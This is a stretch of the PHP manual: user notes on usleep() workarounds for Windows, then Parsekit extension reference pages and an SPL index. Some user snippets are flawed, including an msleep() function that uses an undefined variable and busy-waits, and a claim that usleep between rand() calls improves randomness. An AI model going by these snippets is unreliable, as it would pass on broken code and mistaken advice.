the idea of sleep and usleep is that by letting the cpu run a few idle cycles so the other programs can have some cycles run of their own. what results in better response times and lower overall system-load. so if you have to wait for something, go to sleep for a few seconds instead of occupying the cpu while doing absolute nothing but waitting.
Marius (mm at co-operation dot de) 13-Mar-2007 02:15
My solution providing usleep on a windows based os:

// Helper function
function getmicrotime(){
    list($usec, $sec) = explode(' ',microtime());
    return ((float)$usec + (float)$sec);
}

// usleep alias function for windows
function msleep($micro_seconds=0) {
    $stop  = getmicrotime() + ($miliseconds / 1000);
    while (getmicrotime() <= $stop) {
        // loop
    }
    return true;
}
Mike at SevenCode dot com 11-Jan-2007 03:36
Dude you are SO the man for that code snippet. It worked like a charm. I just wanted to point out a couple things and offer my own improvement.

1. If you're like me, you were probably wondering why the socket had to keep being recreated on each call, and why you couldn't just create a static socket. Its because socket_select assumes you're passing in a pointer, and will alter the variable on return to reflect the actual sockets that were changed.

2. I couldn't figure out for the life of me why socket_select wasn't defined. Its because you hadn't enabled the right extension in php.ini

Ok so heres my slight improvement. The only real thing I did is use a static variable for the socket, to avoid creating a brand new socket on each call of this function. I'm not sure if socket creation will cause things to crash down the line like the other problems reported on here, but if you ask me better safe then sorry.

function Sleeper($mSec)
{
    //    For dummies like me who spent 5 minutes
    //    wondering why socket_create wasn't defined
    if(!function_exists('socket_create')){
        die("Please enable extension php_sockets.dll");
    }

    //    So the socket is only created once
    static $socket=false;
    if($socket===false){
        $socket=array(socket_create(AF_INET,SOCK_RAW,0));
    }
    $pSock=$socket;

    //    Calc time
    $uSex = $mSec * 1000;

    //    Do the waiting
    socket_select($read=NULL,$write=NULL,$pSock,0,$uSex);

    //    OCD
    return true;
}
php_manual at lk2 dot de 28-Dec-2006 02:16
I have no idea why nobody came up with this yet, but there is an efficient way to reproduce usleep() under windows:

<?php
function usleep_win($msec) {
   $usec = $msec * 1000;
   socket_select($read = NULL, $write = NULL, $sock = array(socket_create (AF_INET, SOCK_RAW, 0)), 0, $usec);
}
?>

* Doesnt busy wait
* Doesnt eat memory
* Works for millions of repetitions
* Seems to be rather efficient

It seems that the average error (on my machine) is about 5ms (it sleeps 5ms more than intended) thats probably due to code execution as well as kernel timers.

A socket without any purpose is highly unlikely to every cause an exception, so socket_select will always sleep until the timeout is hit.
Rasmus Schultz 23-Aug-2006 06:39
I have spent DAYS trying to create a reliable usleep()-replacement for Windows.

I have only this to offer:

As commented by someone else already, the gettimeofday() method used below is useless - PHP will use all available CPU power doing nothing.

The fsockopen() method apparently is also useless - as someone else commented, an fclose() was missing in the original post, but this apparently does not solve the problem. After calling the function about 50 or so times, fsockopen() returns immidiately, without any delay - and watching a process monitor in Windows, you can then watch the process taking up increasingly more memory, until eventually PHP aborts (or crashes) when it reaches maximum.

The win32api-method is also a no-go ... after calling the Sleep function a few hundred times (during which memory usage will also go up every time due to a memory leak somewhere), PHP will cause an exception and Windows will terminate it.

I have given up - I don't think there is any viable solution to this problem under PHP 4.

If you need this function, upgrade your project to PHP 5.

Or settle for 1-second delays with the sleep()-function.

These, unfortunately, seem to be your only options...
Patrick 26-Jul-2006 01:04
I want to create a daemon/Linux service. Here is an example of how to run a process that has "throttle control"

// You must set these
//
// max_execution_time = 0
// max_input_time = 0

function doProcess() {
    echo "Start"."\n";
    usleep(10000);
    echo "Stop"."\n";
    return false;
}

function manageProcess() {
    // Setup data
    $runsPerMinute = 200;
    $maxMinuteAverage = 5;
    $waitIfNotWorking = 120; // seconds

    // Conversion
    $microsPerSecond = 1000000;

    // Statistical Info
    $currentMinute = 0;
    $minute = -1;
    $countPerMinute = array();
    $sumPerMinute = array();

    // Totals
    $totalProcessTime = 0;
    $totalCounts = 0;

    while (true) {
        $timestart = microtime();
        $performedWork = doProcess();
        $timeend = microtime();

        if (!$performedWork) {
            // Statistical Info
            $currentMinute = 0;
            $minute = -1;
            $countPerMinute = array();
            $sumPerMinute = array();

            sleep($waitIfNotWorking);
        } else {

            $ts = split(" ",$timestart);
            $te = split(" ",$timeend);

            $te[0] = ($te[0] * $microsPerSecond) - ($ts[0] * $microsPerSecond);
            $te[1] = ($te[1] - $ts[1]) * $microsPerSecond;

            $processTime = $te[0] + $te[1];

            if (date("i")<>$minute) { // We are NOT in the same minute
                // Reset the new minute
                $minute = date("i");
                $currentMinute = ($currentMinute+1) % $maxMinuteAverage;

                // Remove Statistical Information from the minute we are expiring.
                if (isset($countPerMinute[$currentMinute])) {
                    $totalProcessTime = $totalProcessTime - $sumPerMinute[$currentMinute];
                    $totalCounts = $totalCounts - $countPerMinute[$currentMinute];
                }

                $countPerMinute[$currentMinute] = 0;
                $sumPerMinute[$currentMinute] = 0;
            }

            $countPerMinute[$currentMinute] = $countPerMinute[$currentMinute] + 1;
            $sumPerMinute[$currentMinute] = $sumPerMinute[$currentMinute] + $processTime;

            $totalCounts = $totalCounts + 1;
            $totalProcessTime = $totalProcessTime + $processTime;

            $averageRuntime = round($totalProcessTime / $totalCounts);

            $waitTime = (($microsPerSecond*60) / $runsPerMinute) - $averageRuntime;

            usleep($waitTime);
        }
    }

}

manageProcess();
gizmo at aoaforums dot com 02-Feb-2006 09:28
It should be noted that Windows machines have a resolution of either 10 mS or 15 mS (depending on the chipset implementation and HAL used) when using the Sleep() function in kernel32.dll.  This means that your average error will be either 5 or 7.5 mS.  This is not ordinarily a problem unless you really NEED to sleep for less time than the granularity provided by Windows.
gmc at serveisw3 dot net 07-Jul-2005 09:11
If you're using Windows then you maybe are in trouble with usleep if you really need to use it.

The Bernie's microdelay function using fsockopen does not work properly, and the fclose doesn't help much.

I don't know if network connections go strange, but I know it does not work since you've made more than 2000 - 3000 calls to it, so it's not a reliable solution in 'long life' php scripts, or these are the issues of the microdelay function in my PHP and PHP-GTK applications.

Though another solution should be found, and googling a bit I fount a WinAPI function: Sleep.

So I get with this snippet wich works fine for me, you get milliseconds precission but the more important, it works for long-run scripts and of course, it does not waste any CPU cycles.

dl('php_w32api.dll');

$GLOBALS['win32api'] =& new win32;

// USleep alternative for Windows and PHP4:
$GLOBALS['win32api']->registerfunction("long Sleep (long dwMillisecods) From kernel32.dll");

// Now you can call the function from everywhere in your script: $GLOBALS['win32api']->Sleep(milliseconds);

for ($msec = 2000; $msec > 0; $msec = $msec - 125) {
  echo "Hi. Next one in $msec msec.\n";
  $GLOBALS['win32api']->Sleep($msec);
}
t0russ at gmail dot com 03-May-2005 08:06
solution to the warning posted by Bertie:
$f=@fsockopen("tcp://localhost",$UNUSED_PORT,$errno,$errstr,$delay);
@fclose($f);
brian dot hollenbeck at gmail dot com 25-Mar-2005 04:28
Just a tip for the folks at home: is you use multiple rand() functions in your code, be sure to put a randomized usleep() in between the rand() codelines, or else your "random" seeds won't be so random on a fast server.

Example:

$string = rand(0, 100);
$string = rand(0, 200);

Instead:

$string = rand(0, 100);
usleep(rand(1000, 10000));
$string1 = rand(0, 100);
Bertie 28-Nov-2003 11:47
A word of warning about the microdelay() code posted that uses the fsockopen - if you use this is a loop that delays for small periods you will very quickly run out of sockets/socket buffer space. And then your network connections go very strange......
grail dot ink at unix dot net 29-Aug-2003 02:06
We have developed an alternative to usleep that should work on any platform and it doesn't eat up any CPU cycles. It's been tested on Windows 2000 w/ Apache. Other platforms should work fine.

function microdelay($delay) {
$UNUSED_PORT=31238; //make sure this port isn't being used on your server
@fsockopen("tcp://localhost",$UNUSED_PORT,$errno,$errstr,$delay);
}

It times out after a specified time in seconds. It uses a double as argument so you can specify decimal arguments.

microdelay(.5); //500ms
microdelay(.25); //250ms
microdelay(2.25); //2250ms

Our small contribution to this great language!

http://www.xencoders.com
jadd0r at mail dot com 08-Apr-2003 10:59
You could do neat things with this like for unix:

<?php
$y=1000000;
for ($x=1; $x<50; $x++) {
echo chr(7);
usleep($y*(pow(0.9,$x)+0.2));
}
?>

then execute
`php -q script.php > /dev/console`

will result in a bombtimer (chr(7) is beep character) :]
busby at edoceo dot com 17-Jan-2003 04:04
Should be noted that functions that loop really fast to create a delay also consume 100% CPU while doing the loop.  Try creating a dummy loop that goes 100000 times, watch it choke your machine.  If you really need usleep() don't use windows.
dsc at c2i dot net 14-Mar-2002 09:55
The usleep() for Windows above doesn't take into account that the value of $stop can be lower than $start. It also contains unnecessary casts and $temp variable. Here is a better function:

function usleepWindows($usec)
{
    $start = gettimeofday();

    do
    {
        $stop = gettimeofday();
        $timePassed = 1000000 * ($stop['sec'] - $start['sec'])
            + $stop['usec'] - $start['usec'];
    }
    while ($timePassed < $usec);
}
dave at techweavers dot net 28-Dec-2000 07:29
To monitor a scripts CPU ussage and avoid any nasty CPU gobbling loops you can use this function (will not work with windows or safe mode) I know it works on FreeBSD:
function phpmon($max)
 {
 $cmd = `ps -Unobody -r -o%cpu`;
 $lines = explode("\n", $cmd);
 $usage = substr($lines[1], 0, strpos($lines[1], "."));
 $sleeprate = 500;
 while ($usage >= $max)
  {
  $cmd = `ps -Unobody -r -o%cpu`;
  $lines = explode("\n", $cmd);
  $usage = substr($lines[1], 0, strpos($lines[1], "."));
  usleep($sleeprate);
  }
 }

phpmon($MAX);

where $MAX is the maximum CPU you want the process to consume. e-mail me with any improvements/suggestions.

I have noticed that this consumes a lot of system CPU (at least in my limited testing) possibly from all of the system calls or the huge mathematical functions I used to test the effectiveness of the script.
unpack
Parsekit
Misc. Functions


Parsekit

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Parsekit Functions
    • parsekit_compile_file — Compile a string of PHP code and return the resulting op array
    • parsekit_compile_string — Compile a string of PHP code and return the resulting op array
    • parsekit_func_arginfo — Return information regarding function argument(s)

User Contributed Notes

There are no user contributed notes for this page.
usleep
Introduction
Other Basic Extensions


Introduction

These functions allow runtime analysis of opcodes compiled from PHP scripts.

User Contributed Notes

There are no user contributed notes for this page.
Parsekit
Installing/Configuring
Parsekit


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Parsekit


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/parsekit.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PARSEKIT_QUIET (int)
Return full detail, but without unnecessary NULL entries.
PARSEKIT_SIMPLE (int)
Return shorthand opcode notation.
PARSEKIT_EXTENDED_VALUE (int)
Opnode Flag
PARSEKIT_RESULT_CONST (int)
Opnode Flag
PARSEKIT_RESULT_EA_TYPE (int)
Opnode Flag
PARSEKIT_RESULT_JMP_ADDR (int)
Opnode Flag
PARSEKIT_RESULT_OPARRAY (int)
Opnode Flag
PARSEKIT_RESULT_OPLINE (int)
Opnode Flag
PARSEKIT_RESULT_VAR (int)
Opnode Flag
PARSEKIT_USAGE_UNKNOWN (int)
Opnode Flag
PARSEKIT_ZEND_INTERNAL_CLASS (int)
Class Type
PARSEKIT_ZEND_USER_CLASS (int)
Class Type
PARSEKIT_ZEND_EVAL_CODE (int)
Function Type
PARSEKIT_ZEND_INTERNAL_FUNCTION (int)
Function Type
PARSEKIT_ZEND_OVERLOADED_FUNCTION (int)
Function Type
PARSEKIT_ZEND_OVERLOADED_FUNCTION_TEMPORARY (int) PHP >= 5.0.0
Function Type
PARSEKIT_ZEND_USER_FUNCTION (int)
Function Type
PARSEKIT_IS_CONST (int)
Node Type
PARSEKIT_IS_TMP_VAR (int)
Node Type
PARSEKIT_IS_UNUSED (int)
Node Type
PARSEKIT_IS_VAR (int)
Node Type
PARSEKIT_ZEND_ADD (int)
Opcode
PARSEKIT_ZEND_ADD_ARRAY_ELEMENT (int)
Opcode
PARSEKIT_ZEND_ADD_CHAR (int)
Opcode
PARSEKIT_ZEND_ADD_INTERFACE (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ADD_STRING (int)
Opcode
PARSEKIT_ZEND_ADD_VAR (int)
Opcode
PARSEKIT_ZEND_ASSIGN (int)
Opcode
PARSEKIT_ZEND_ASSIGN_ADD (int)
Opcode
PARSEKIT_ZEND_ASSIGN_BW_AND (int)
Opcode
PARSEKIT_ZEND_ASSIGN_BW_OR (int)
Opcode
PARSEKIT_ZEND_ASSIGN_BW_XOR (int)
Opcode
PARSEKIT_ZEND_ASSIGN_CONCAT (int)
Opcode
PARSEKIT_ZEND_ASSIGN_DIM (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ASSIGN_DIV (int)
Opcode
PARSEKIT_ZEND_ASSIGN_MOD (int)
Opcode
PARSEKIT_ZEND_ASSIGN_MUL (int)
Opcode
PARSEKIT_ZEND_ASSIGN_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ASSIGN_REF (int)
Opcode
PARSEKIT_ZEND_ASSIGN_SL (int)
Opcode
PARSEKIT_ZEND_ASSIGN_SR (int)
Opcode
PARSEKIT_ZEND_ASSIGN_SUB (int)
Opcode
PARSEKIT_ZEND_BEGIN_SILENCE (int)
Opcode
PARSEKIT_ZEND_BOOL (int)
Opcode
PARSEKIT_ZEND_BOOL_NOT (int)
Opcode
PARSEKIT_ZEND_BOOL_XOR (int)
Opcode
PARSEKIT_ZEND_BRK (int)
Opcode
PARSEKIT_ZEND_BW_AND (int)
Opcode
PARSEKIT_ZEND_BW_NOT (int)
Opcode
PARSEKIT_ZEND_BW_OR (int)
Opcode
PARSEKIT_ZEND_BW_XOR (int)
Opcode
PARSEKIT_ZEND_CASE (int)
Opcode
PARSEKIT_ZEND_CAST (int)
Opcode
PARSEKIT_ZEND_CATCH (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_CLONE (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_CONCAT (int)
Opcode
PARSEKIT_ZEND_CONT (int)
Opcode
PARSEKIT_ZEND_DECLARE_CLASS (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_DECLARE_FUNCTION (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_DECLARE_INHERITED_CLASS (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_DIV (int)
Opcode
PARSEKIT_ZEND_DO_FCALL (int)
Opcode
PARSEKIT_ZEND_DO_FCALL_BY_NAME (int)
Opcode
PARSEKIT_ZEND_ECHO (int)
Opcode
PARSEKIT_ZEND_END_SILENCE (int)
Opcode
PARSEKIT_ZEND_EXIT (int)
Opcode
PARSEKIT_ZEND_EXT_FCALL_BEGIN (int)
Opcode
PARSEKIT_ZEND_EXT_FCALL_END (int)
Opcode
PARSEKIT_ZEND_EXT_NOP (int)
Opcode
PARSEKIT_ZEND_EXT_STMT (int)
Opcode
PARSEKIT_ZEND_FETCH_CLASS (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_FETCH_CONSTANT (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_FUNC_ARG (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_IS (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_R (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_RW (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_TMP_VAR (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_UNSET (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_W (int)
Opcode
PARSEKIT_ZEND_FETCH_FUNC_ARG (int)
Opcode
PARSEKIT_ZEND_FETCH_IS (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_FUNC_ARG (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_IS (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_R (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_RW (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_UNSET (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_W (int)
Opcode
PARSEKIT_ZEND_FETCH_R (int)
Opcode
PARSEKIT_ZEND_FETCH_RW (int)
Opcode
PARSEKIT_ZEND_FETCH_UNSET (int)
Opcode
PARSEKIT_ZEND_FETCH_W (int)
Opcode
PARSEKIT_ZEND_FE_FETCH (int)
Opcode
PARSEKIT_ZEND_FE_RESET (int)
Opcode
PARSEKIT_ZEND_FREE (int)
Opcode
PARSEKIT_ZEND_HANDLE_EXCEPTION (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_IMPORT_CLASS (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_IMPORT_CONST (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_IMPORT_FUNCTION (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_INCLUDE_OR_EVAL (int)
Opcode
PARSEKIT_ZEND_INIT_ARRAY (int)
Opcode
PARSEKIT_ZEND_INIT_CTOR_CALL (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_INIT_FCALL_BY_NAME (int)
Opcode
PARSEKIT_ZEND_INIT_METHOD_CALL (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_INIT_STATIC_METHOD_CALL (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_INIT_STRING (int)
Opcode
PARSEKIT_ZEND_INSTANCEOF (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ISSET_ISEMPTY (int) PHP < 5.0.0
Opcode
PARSEKIT_ZEND_ISSET_ISEMPTY_DIM_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ISSET_ISEMPTY_PROP_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ISSET_ISEMPTY_VAR (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_IS_EQUAL (int)
Opcode
PARSEKIT_ZEND_IS_IDENTICAL (int)
Opcode
PARSEKIT_ZEND_IS_NOT_EQUAL (int)
Opcode
PARSEKIT_ZEND_IS_NOT_IDENTICAL (int)
Opcode
PARSEKIT_ZEND_IS_SMALLER (int)
Opcode
PARSEKIT_ZEND_IS_SMALLER_OR_EQUAL (int)
Opcode
PARSEKIT_ZEND_JMP (int)
Opcode
PARSEKIT_ZEND_JMPNZ (int)
Opcode
PARSEKIT_ZEND_JMPNZ_EX (int)
Opcode
PARSEKIT_ZEND_JMPZ (int)
Opcode
PARSEKIT_ZEND_JMPZNZ (int)
Opcode
PARSEKIT_ZEND_JMPZ_EX (int)
Opcode
PARSEKIT_ZEND_JMP_NO_CTOR (int)
Opcode
PARSEKIT_ZEND_MOD (int)
Opcode
PARSEKIT_ZEND_MUL (int)
Opcode
PARSEKIT_ZEND_NEW (int)
Opcode
PARSEKIT_ZEND_NOP (int)
Opcode
PARSEKIT_ZEND_OP_DATA (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_POST_DEC (int)
Opcode
PARSEKIT_ZEND_POST_DEC_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_POST_INC (int)
Opcode
PARSEKIT_ZEND_POST_INC_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_PRE_DEC (int)
Opcode
PARSEKIT_ZEND_PRE_DEC_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_PRE_INC (int)
Opcode
PARSEKIT_ZEND_PRE_INC_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_PRINT (int)
Opcode
PARSEKIT_ZEND_QM_ASSIGN (int)
Opcode
PARSEKIT_ZEND_RAISE_ABSTRACT_ERROR (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_RECV (int)
Opcode
PARSEKIT_ZEND_RECV_INIT (int)
Opcode
PARSEKIT_ZEND_RETURN (int)
Opcode
PARSEKIT_ZEND_SEND_REF (int)
Opcode
PARSEKIT_ZEND_SEND_VAL (int)
Opcode
PARSEKIT_ZEND_SEND_VAR (int)
Opcode
PARSEKIT_ZEND_SEND_VAR_NO_REF (int)
Opcode
PARSEKIT_ZEND_SL (int)
Opcode
PARSEKIT_ZEND_SR (int)
Opcode
PARSEKIT_ZEND_SUB (int)
Opcode
PARSEKIT_ZEND_SWITCH_FREE (int)
Opcode
PARSEKIT_ZEND_THROW (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_TICKS (int)
Opcode
PARSEKIT_ZEND_UNSET_DIM_OBJ (int)
Opcode
PARSEKIT_ZEND_UNSET_VAR (int)
Opcode
PARSEKIT_ZEND_VERIFY_ABSTRACT_CLASS (int) PHP >= 5.0.0
Opcode

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Parsekit Functions
Parsekit


Parsekit Functions

Table of Contents

  • parsekit_compile_file — Compile a string of PHP code and return the resulting op array
  • parsekit_compile_string — Compile a string of PHP code and return the resulting op array
  • parsekit_func_arginfo — Return information regarding function argument(s)

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
parsekit_compile_file
Parsekit


Compile a string of PHP code and return the resulting op array

Parsekit Functions
parsekit_compile_string
Parsekit Functions
PHP Manual

parsekit_compile_file

(PECL parsekit >= 0.2.0)

parsekit_compile_file — Compile a string of PHP code and return the resulting op array

Description

array parsekit_compile_file ( string $filename [, array &$errors [, int $options = PARSEKIT_QUIET ]] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

filename

A string containing the name of the file to compile. Similar to the argument to include().

errors

A 2D hash of errors (including fatal errors) encountered during compilation. Returned by reference.

options

One of either PARSEKIT_QUIET or PARSEKIT_SIMPLE. To produce varying degrees of verbosity in the returned output.

Return Values

Returns a complex multi-layer array structure as detailed below.

Examples

Example #1 parsekit_compile_file() example

<?php
var_dump(parsekit_compile_file('hello_world.php', $errors, PARSEKIT_SIMPLE));
?>

The above example will output:

array(5) {
  [0]=>
  string(37) "ZEND_ECHO UNUSED 'Hello World' UNUSED"
  [1]=>
  string(30) "ZEND_RETURN UNUSED NULL UNUSED"
  [2]=>
  string(42) "ZEND_HANDLE_EXCEPTION UNUSED UNUSED UNUSED"
  ["function_table"]=>
  NULL
  ["class_table"]=>
  NULL
}

See Also

  • parsekit_compile_string() - Compile a string of PHP code and return the resulting op array

User Contributed Notes

There are no user contributed notes for this page.
Parsekit Functions
parsekit_compile_string
Parsekit Functions


Compile a string of PHP code and return the resulting op array

parsekit_compile_file
parsekit_func_arginfo
Parsekit Functions
PHP Manual

parsekit_compile_string

(PECL parsekit >= 0.2.0)

parsekit_compile_string — Compile a string of PHP code and return the resulting op array

Description

array parsekit_compile_string ( string $phpcode [, array &$errors [, int $options = PARSEKIT_QUIET ]] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

phpcode

A string containing phpcode. Similar to the argument to eval().

errors

A 2D hash of errors (including fatal errors) encountered during compilation. Returned by reference.

options

One of either PARSEKIT_QUIET or PARSEKIT_SIMPLE. To produce varying degrees of verbosity in the returned output.

Return Values

Returns a complex multi-layer array structure as detailed below.

Examples

Example #1 parsekit_compile_string() example

<?php
  $ops = parsekit_compile_string('
echo "Foo\n";
', $errors, PARSEKIT_QUIET);

  var_dump($ops);
?>

The above example will output:

array(20) {
  ["type"]=>
  int(4)
  ["type_name"]=>
  string(14) "ZEND_EVAL_CODE"
  ["fn_flags"]=>
  int(0)
  ["num_args"]=>
  int(0)
  ["required_num_args"]=>
  int(0)
  ["pass_rest_by_reference"]=>
  bool(false)
  ["uses_this"]=>
  bool(false)
  ["line_start"]=>
  int(0)
  ["line_end"]=>
  int(0)
  ["return_reference"]=>
  bool(false)
  ["refcount"]=>
  int(1)
  ["last"]=>
  int(3)
  ["size"]=>
  int(3)
  ["T"]=>
  int(0)
  ["last_brk_cont"]=>
  int(0)
  ["current_brk_cont"]=>
  int(-1)
  ["backpatch_count"]=>
  int(0)
  ["done_pass_two"]=>
  bool(true)
  ["filename"]=>
  string(17) "Parsekit Compiler"
  ["opcodes"]=>
  array(3) {
    [8594800]=>
    array(5) {
      ["opcode"]=>
      int(40)
      ["opcode_name"]=>
      string(9) "ZEND_ECHO"
      ["flags"]=>
      int(768)
      ["op1"]=>
      array(3) {
        ["type"]=>
        int(1)
        ["type_name"]=>
        string(8) "IS_CONST"
        ["constant"]=>
        &string(4) "Foo
"
      }
      ["lineno"]=>
      int(2)
    }
    ["859484C"]=>
    array(6) {
      ["opcode"]=>
      int(62)
      ["opcode_name"]=>
      string(11) "ZEND_RETURN"
      ["flags"]=>
      int(16777984)
      ["op1"]=>
      array(3) {
        ["type"]=>
        int(1)
        ["type_name"]=>
        string(8) "IS_CONST"
        ["constant"]=>
        &NULL
      }
      ["extended_value"]=>
      int(0)
      ["lineno"]=>
      int(3)
    }
    [8594898]=>
    array(4) {
      ["opcode"]=>
      int(149)
      ["opcode_name"]=>
      string(21) "ZEND_HANDLE_EXCEPTION"
      ["flags"]=>
      int(0)
      ["lineno"]=>
      int(3)
    }
  }
}

See Also

  • parsekit_compile_file() - Compile a string of PHP code and return the resulting op array

User Contributed Notes

There are no user contributed notes for this page.
parsekit_compile_file
parsekit_func_arginfo
Parsekit Functions


Return information regarding function argument(s)

parsekit_compile_string
SPL
Parsekit Functions
PHP Manual

parsekit_func_arginfo

(PECL parsekit >= 0.3.0)

parsekit_func_arginfo — Return information regarding function argument(s)

Description

array parsekit_func_arginfo ( mixed $function )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

function

A string describing a function, or an array describing a class/method.

Return Values

Returns an array containing argument information.

Examples

Example #1 parsekit_func_arginfo() example

<?php
function foo($bar, stdClass $baz, &$bomb, $bling = false) {
}

var_dump(parsekit_func_arginfo('foo'));
?>

The above example will output:

array(4) {
  [0]=>
  array(3) {
    ["name"]=>
    string(3) "bar"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(false)
  }
  [1]=>
  array(4) {
    ["name"]=>
    string(3) "baz"
    ["class_name"]=>
    string(8) "stdClass"
    ["allow_null"]=>
    bool(false)
    ["pass_by_reference"]=>
    bool(false)
  }
  [2]=>
  array(3) {
    ["name"]=>
    string(4) "bomb"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(true)
  }
  [3]=>
  array(3) {
    ["name"]=>
    string(5) "bling"
    ["allow_null"]=>
    bool(true)
    ["pass_by_reference"]=>
    bool(false)
  }
}

User Contributed Notes

fantasysportswire at yahoo dot com 04-Mar-2007 11:03
Should be noted that this is for user defined functions only.  Not internal (extension or otherwise).
parsekit_compile_string
SPL
Parsekit Functions


Standard PHP Library (SPL)

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Datastructures
    • SplDoublyLinkedList — The SplDoublyLinkedList class
    • SplStack — The SplStack class
    • SplQueue — The SplQueue class
    • SplHeap — The SplHeap class
    • SplMaxHeap — The SplMaxHeap class
    • SplMinHeap — The SplMinHeap class
    • SplPriorityQueue — The SplPriorityQueue class
    • SplFixedArray — The SplFixedArray class
    • SplObjectStorage — The SplObjectStorage class
  • Iterators
    • AppendIterator — The AppendIterator class
    • ArrayIterator — The ArrayIterator class
    • CachingIterator — The CachingIterator class
    • CallbackFilterIterator — The CallbackFilterIterator class
    • DirectoryIterator — The DirectoryIterator class
    • EmptyIterator — The EmptyIterator class
    • FilesystemIterator — The FilesystemIterator class
    • FilterIterator — The FilterIterator class
    • GlobIterator — The GlobIterator class
    • InfiniteIterator — The InfiniteIterator class
    • IteratorIterator — The IteratorIterator class
    • LimitIterator — The LimitIterator class
    • MultipleIterator — The MultipleIterator class
    • NoRewindIterator — The NoRewindIterator class
    • ParentIterator — The ParentIterator class
    • RecursiveArrayIterator — The RecursiveArrayIterator class
    • RecursiveCachingIterator — The RecursiveCachingIterator class
    • RecursiveCallbackFilterIterator — The RecursiveCallbackFilterIterator class
    • RecursiveDirectoryIterator — The RecursiveDirectoryIterator class
    • RecursiveFilterIterator — The RecursiveFilterIterator class
    • RecursiveIteratorIterator — The RecursiveIteratorIterator class
    • RecursiveRegexIterator — The RecursiveRegexIterator class
    • RecursiveTreeIterator — The RecursiveTreeIterator class
    • RegexIterator — The RegexIterator class
  • Interfaces
    • Countable — The Countable interface
    • OuterIterator — The OuterIterator interface
    • RecursiveIterator — The RecursiveIterator interface
    • SeekableIterator — The SeekableIterator interface
  • Exceptions
    • BadFunctionCallException — The BadFunctionCallException class
    • BadMethodCallException — The BadMethodCallException class
    • DomainException — The DomainException class
    • InvalidArgumentException — The InvalidArgumentException class
    • LengthException — The LengthException class
    • LogicException — The LogicException class
    • OutOfBoundsException — The OutOfBoundsException class
    • OutOfRangeException — The OutOfRangeException class
    • OverflowException — The OverflowException class
    • RangeException — The RangeException class
    • RuntimeException — The RuntimeException class
    • UnderflowException — The UnderflowException class
    • UnexpectedValueException — The UnexpectedValueException class
  • SPL Functions
    • class_implements — Return the interfaces which are implemented by the given class
    • class_parents — Return the parent classes of the given class
    • class_uses — Return the traits used by the given class
    • iterator_apply — Call a function for every element in an iterator
    • iterator_count — Count the elements in an iterator
    • iterator_to_array — Copy the iterator into an array
    • spl_autoload_call — Try all registered __autoload() function to load the requested class
    • spl_autoload_extensions — Register and return default file extensions for spl_autoload
    • spl_autoload_functions — Return all registered __autoload() functions
    • spl_autoload_register — Register given function as __autoload() implementation
    • spl_autoload_unregister — Unregister given function as __autoload() implementation
    • spl_autoload — Default implementation for __autoload()
    • spl_classes — Return available SPL classes
